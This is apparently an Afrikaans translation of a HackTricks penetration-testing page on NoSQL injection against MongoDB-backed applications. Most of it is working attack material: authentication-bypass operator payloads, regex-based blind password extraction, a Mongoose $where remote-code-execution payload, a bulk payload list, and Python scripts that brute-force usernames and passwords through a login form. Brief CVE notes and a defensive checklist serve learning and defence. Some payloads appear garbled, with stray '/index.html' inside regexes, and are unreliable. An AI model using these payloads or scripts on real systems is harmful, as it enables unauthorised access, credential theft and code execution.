NoSQL-inspuiting

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Exploit

In PHP kan jy 'n Array stuur deur die gestuurde parameter van parameter=foo na parameter[arrName]=foo te verander.

Die exploits is gebaseer op die toevoeging van 'n Operator:

bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basiese outentisering omseiling

Gebruik nie gelyk aan ($ne) of groter as ($gt)

bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

javascript
query = { $where: `this.username == '${username}'` }

'n Aanvaller kan dit benut deur stringe soos admin' || 'a'=='a in te voer, wat die navraag laat terugkeer na alle dokumente deur die voorwaarde met 'n tautologie ('a'=='a') te bevredig. Dit is analoog aan SQL-inspuitaanvalle waar invoere soos ' or 1=1-- - gebruik word om SQL-navrae te manipuleer. In MongoDB kan soortgelyke inspuitings gedoen word met invoere soos ' || 1==1//, ' || 1==1%00, of admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Trek lengte inligting uit

bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Trek data inligting uit

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrêre Funksie Uitvoering

Met die $func operator van die MongoLite biblioteek (wat standaard gebruik word) mag dit moontlik wees om 'n arbitrêre funksie uit te voer soos in hierdie verslag.

python
"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Kry inligting van 'n verskillende versameling

Dit is moontlik om $lookup te gebruik om inligting van 'n verskillende versameling te kry. In die volgende voorbeeld lees ons van 'n verskillende versameling genaamd users en kry die resultate van al die inskrywings met 'n wagwoord wat met 'n wildcard ooreenstem.

NOTE: $lookup en ander aggregatiefunksies is slegs beskikbaar as die aggregate() funksie gebruik is om die soektog uit te voer in plaas van die meer algemene find() of findOne() funksies.

json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Foutgebaseerde Inspuiting

Inject throw new Error(JSON.stringify(this)) in 'n $where klousule om volle dokumente via bediener-kant JavaScript-foute te eksfiltreer (vereis dat die toepassing databasisfoute lek). Voorbeeld:

json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

Onlangse CVE's & Regte-Wêreld Exploits (2023-2025)

Rocket.Chat ongeverifieerde blinde NoSQLi – CVE-2023-28359

Weergawes ≤ 6.0.0 het die Meteor-metode listEmojiCustom blootgestel wat 'n gebruiker-beheerde selector objek direk na find() gestuur het. Deur operateurs soos {"$where":"sleep(2000)||true"} in te voeg, kon 'n ongeverifieerde aanvaller 'n tyds-orakel bou en dokumente eksterneer. Die fout is in 6.0.1 reggestel deur die selector-vorm te valideer en gevaarlike operateurs te verwyder.

Mongoose populate().match $where RCE – CVE-2024-53900 & CVE-2025-23061

Wanneer populate() met die match opsie gebruik word, het Mongoose (≤ 8.8.2) die objek woordeliks gekopieer voor dit na MongoDB gestuur is. Deur $where te verskaf, is JavaScript binne Node.js uitgevoer, selfs al was bediener-kant JS op MongoDB gedeaktiveer:

js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author });   // RCE

Die eerste patch (8.8.3) het topvlak $where geblokkeer, maar om dit onder $or te nes ondermyn die filter, wat gelei het tot CVE-2025-23061. Die probleem is volledig reggestel in 8.9.5, en 'n nuwe verbindingsopsie sanitizeFilter: true is bekendgestel.

GraphQL → Mongo filter verwarring

Resolvers wat args.filter direk in collection.find() deurgee, bly kwesbaar:

graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Mitigations: herhalend sleutels verwyder wat met $ begin, kaart toegelate operateurs eksplisiet, of valideer met skema biblioteke (Joi, Zod).

Defensive Cheat-Sheet (updated 2025)

  1. Verwyder of verwerp enige sleutel wat met $ begin (express-mongo-sanitize, mongo-sanitize, Mongoose sanitizeFilter:true).
  2. Deaktiveer bediener-kant JavaScript op self-gehoste MongoDB (--noscripting, standaard in v7.0+).
  3. Verkies $expr en aggregasie bouers in plaas van $where.
  4. Valideer datatipe vroeg (Joi/Ajv) en verbied arrays waar skalar waardes verwag word om [$ne] truuks te vermy.
  5. Vir GraphQL, vertaal filter argumente deur 'n toelaat lys; versprei nooit onbetroubare objekte nie.

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Script

python
import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force aanmeldgebruikersname en wagwoorde vanaf POST-aanmelding

Dit is 'n eenvoudige skrip wat jy kan aanpas, maar die vorige gereedskap kan ook hierdie taak uitvoer.

python
import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Gereedskap

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks